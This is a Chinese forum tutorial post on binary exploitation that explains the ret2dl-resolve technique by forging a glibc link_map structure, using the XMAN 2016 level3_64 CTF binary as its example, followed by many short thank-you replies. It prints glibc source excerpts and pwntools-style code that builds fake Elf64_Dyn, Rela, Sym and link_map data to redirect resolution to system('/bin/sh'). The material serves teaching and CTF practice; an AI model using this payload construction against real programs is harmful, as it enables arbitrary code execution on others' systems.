    由于各种保护方式的普及,现在能碰到No RELRO的程序已经很少了,因此上节所述的攻击方式能用上的机会并不多,所以这节我们介绍另外一种方式——通过伪造link_map结构体进行攻击。
    在前面的源码分析中,我们主要把目光集中在未解析过的函数在_dl_fixup的流程中而忽略了另外一个分支。

    _dl_fixup (
    # ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
               ELF_MACHINE_RUNTIME_FIXUP_ARGS,
    # endif
               struct link_map *l, ElfW(Word) reloc_arg)
    {
      ………… //变量定义,初始化等等
      if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断函数是否被解析过。此前我们一直利用未解析过的函数的结构体,所以这里的if始终成立
       …………
          result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                        version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    …………
        }
      else
        {
          /* We already found the symbol.  The module (and therefore its load
             address) is also known.  */
          value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
          result = l;
        }
     …………
    }

    通过注释我们可以看到之前的if起的是判断函数是否被解析过的作用,如果函数被解析过,_dl_fixup就不会调用_dl_lookup_symbol_x对函数进行重定位,而是直接通过宏DL_FIXUP_MAKE_VALUE计算出结果。这边用到了link_map的成员变量l_addr和Elf32/64_Sym的成员变量st_value。这里的l_addr是实际映射地址和原来指定的映射地址的差值,st_value根据对应节的索引值有不同的含义。不过在这里我们并不需要关心那么多,我们只需要知道如果我们能使l->l_addr + sym->st_value指向一个函数的在内存中的实际地址,那么我们就能返回到这个函数上。但是问题来了,如果我们知道了system在内存中的实际地址,我们何苦用那么麻烦的方式跳转到system上呢?所以答案是我们不知道。我们需要做的是让l->l_addr和sym->st_value其中之一落在got表的某个已解析的函数上(如__libc_start_main),而另一个则设置为system函数和这个函数的偏移值。既然我们都伪造了link_map,那么显然l_addr是我们可以控制的,而sym根据我们的源码分析,它的值最终也是从link_map中获得的(很多节区地址,包括.rel.plt, .dynsym, dynstr都是从中取值,更多细节可以对比调试时的link_map数据与源码进行学习)

    const ElfW(Sym) *const symtab
        = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
      const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    
      const PLTREL *const reloc
        = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
      const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

    所以这两个值我们都可以进行伪造。此时只要我们知道libc的版本,就能算出system与已解析函数之间的偏移了。
    说到这里可能有人会想到,既然伪造的link_map那么厉害,那么我们为什么不在前面的dl-resolve中直接伪造出.dynstr的地址,而要通过一条冗长的求值链返回到system呢?我们来看一下上面的这行代码

          result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                        version, ELF_RTYPE_CLASS_PLT, flags, NULL);

    根据位于glibc/include/Link.h中的link_map结构体定义,这里的l_scope是一个当前link_map的查找范围数组。我们从link_map结构体的定义可以看出来其实这是一个双链表,每一个link_map元素都保存了一个函数库的信息。当查找某个符号的时候,实际上是通过遍历整个双链表,在每个函数库中进行的查询。显然,我们不可能知道libc的link_map地址,所以我们没办法伪造l_scope,也就没办法伪造整个link_map使流程进入_dl_lookup_symbol_x,只能选择让流程进入“函数已被解析过”的分支。
    回到主题,我们为了让函数流程绕过_dl_lookup_symbol_x,必须伪造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0,根据sym的定义,我们就得伪造symtab和reloc->r_info,所以我们得伪造DT_SYMTAB, DT_JMPREL,此外,我们得伪造strtab为可读地址,所以还得伪造DT_STRTAB,所以我们需要伪造link_map前0xf8个字节的数据,需要关注的分别是位于link_map+0的l_addr,位于link_map+0x68的DT_STRTAB指针,位于link_map+0x70的DT_SYMTAB指针和位于link_map+0xF8的DT_JMPREL指针。此外,我们需要伪造Elf64_Sym结构体,Elf64_Rela结构体,由于DT_JMPREL指向的是Elf64_Dyn结构体,我们也需要伪造一个这样的结构体。当然,我们得让reloc_offset为0.为了伪造的方便,我们可以选择让l->l_addr为已解析函数内存地址和system的偏移,sym->st_value为已解析的函数地址的指针-8,即其got表项-8。(这部分在源码中似乎并没有体现出来,但是调试的时候发现实际上会+8,原因不明)我们还是以~/XMAN 2016-level3_64/level3_64为例进行分析。
    首先我们来构造一个fake link_map

    fake_link_map_data = ""
    fake_link_map_data += p64(offset)                        # +0x00 l_addr offset = system - __libc_start_main
    fake_link_map_data += '\x00'*0x60
    fake_link_map_data += p64(DT_STRTAB)                #+0x68 DT_STRTAB
    fake_link_map_data += p64(DT_SYMTAB)                #+0x70 DT_SYMTAB
    fake_link_map_data += '\x00'*0x80
    fake_link_map_data += p64(DT_JMPREL)                #+0xf8 DT_JMPREL
    后面的link_map数据由于我们用不上就不构造了。根据我们的分析,我们留出来四个8字节数据区用来填充相应的数据,其他部分都置为0.
    接下来我们伪造出三个结构体
    fake_Elf64_Dyn = ""
    fake_Elf64_Dyn += p64(0)                                #d_tag
    fake_Elf64_Dyn += p64(0)                                #d_ptr
    
    fake_Elf64_Rela = ""
    fake_Elf64_Rela += p64(0)                                #r_offset
    fake_Elf64_Rela += p64(7)                                #r_info
    fake_Elf64_Rela += p64(0)                                 #r_addend
    
    fake_Elf64_Sym = ""
    fake_Elf64_Sym += p32(0)                                 #st_name
    fake_Elf64_Sym += 'AAAA'                                #st_info, st_other, st_shndx
    fake_Elf64_Sym += p64(main_got-8)         #st_value
    fake_Elf64_Sym += p64(0)                                 #st_size

    显然我们必须把r_info设置为7以通过检查。为了使ELFW(ST_VISIBILITY) (sym->st_other)不为0从而躲过_dl_lookup_symbol_x,我们直接把st_other设置为非0.st_other也必须为非0以避开_dl_lookup_symbol_x,进入我们希望要的分支。
    我们注意到fake_link_map中间有许多用\x00填充的空间,这些地方实际上写啥都不影响我们的攻击,因此我们充分利用空间,把三个结构体跟/bin/sh\x00也塞进去

    offset = 0x253a0 #system - __libc_start_main
    
    fake_Elf64_Dyn = ""
    fake_Elf64_Dyn += p64(0)                                                                #d_tag                从link_map中找.rel.plt不需要用到标签, 随意设置
    fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)                #d_ptr                指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
    
    fake_Elf64_Rela = ""
    fake_Elf64_Rela += p64(fake_link_map_addr - offset)                #r_offset        rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行
    fake_Elf64_Rela += p64(7)                                                                #r_info                index设置为0,最后一字节必须为7
    fake_Elf64_Rela += p64(0)                                                                #r_addend        随意设置
    
    fake_Elf64_Sym = ""
    fake_Elf64_Sym += p32(0)                                                                #st_name        随意设置
    fake_Elf64_Sym += 'AAAA'                                                                #st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
    fake_Elf64_Sym += p64(main_got-8)                                                #st_value        已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
    fake_Elf64_Sym += p64(0)                                                                #st_size        随意设置
    
    fake_link_map_data = ""
    fake_link_map_data += p64(offset)                        #l_addr,伪造为两个函数的地址偏移值
    fake_link_map_data += fake_Elf64_Dyn
    fake_link_map_data += fake_Elf64_Rela
    fake_link_map_data += fake_Elf64_Sym
    fake_link_map_data += '\x00'*0x20
    fake_link_map_data += p64(fake_link_map_addr)                #DT_STRTAB        设置为一个可读的地址
    fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB        指向对应结构体数组的地址
    fake_link_map_data += "/bin/sh\x00"                                        
    fake_link_map_data += '\x00'*0x78
    fake_link_map_data += p64(fake_link_map_addr + 0x8)        #DT_JMPREL        指向对应数组结构体的地址

    现在我们需要做的就是栈劫持,伪造参数跳转到_dl_fixup了。前两者好说,_dl_fixup地址也在got表中的第2项。但是问题是这是一个保存了函数地址的地址,我们没办法放在栈上用ret跳过去,难道要再用一次万能gadgets吗?不,我们可以选择这个

    把这行指令地址放到栈上,用ret就可以跳进_fix_up.现在我们需要的东西都齐了,只要把它们组装起来,pwn it!


    课后练习题和例题



    0x0a.rar (45.12 KB, 下载次数: 218)

    本帖被以下淘专辑推荐:

    不傲不畏,不卑不亢,不骄不躁,不气不馁,不争不抢
    学习                                                                                                                        
    使用道具 举报 回复
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习
    使用道具 举报 回复
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习         
    学习
    使用道具 举报 回复
    学习                                                                                          
    使用道具 举报 回复
    发表于 2018-11-26 14:20:43
    0.0                                       
    使用道具 举报 回复
    pwn                              
    使用道具 举报 回复
    学习学习学习学习学习学习学习学习学习学习学习学习学习学习
    使用道具 举报 回复
    6666666666666666666666666666666666666666666666666666
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-24 14:39:32
    学习一下,
    路漫漫,
    使用道具 举报 回复
    学习一下~|
    使用道具 举报 回复
    发表于 2018-8-25 16:30:31
    这是更新的节奏吗 记得之前有发表过欸
    使用道具 举报 回复
    发表于 2018-8-25 23:27:41
    感谢分享
    使用道具 举报 回复
    使用道具 举报 回复
    发表于 2018-8-28 09:39:39
    感谢分享
    使用道具 举报 回复
    回帖要认真,老大很厉害。
    使用道具 举报 回复
    发表于 2018-8-28 19:20:40
    楼主写的教程真的细腻又好用!
    使用道具 举报 回复
    发表于 2018-8-29 16:41:19
    6666666666666666666
    使用道具 举报 回复
    make一记
    使用道具 举报 回复
    发表于 2018-9-1 16:27:20
    很不错的连载
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-9-3 17:57:52
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册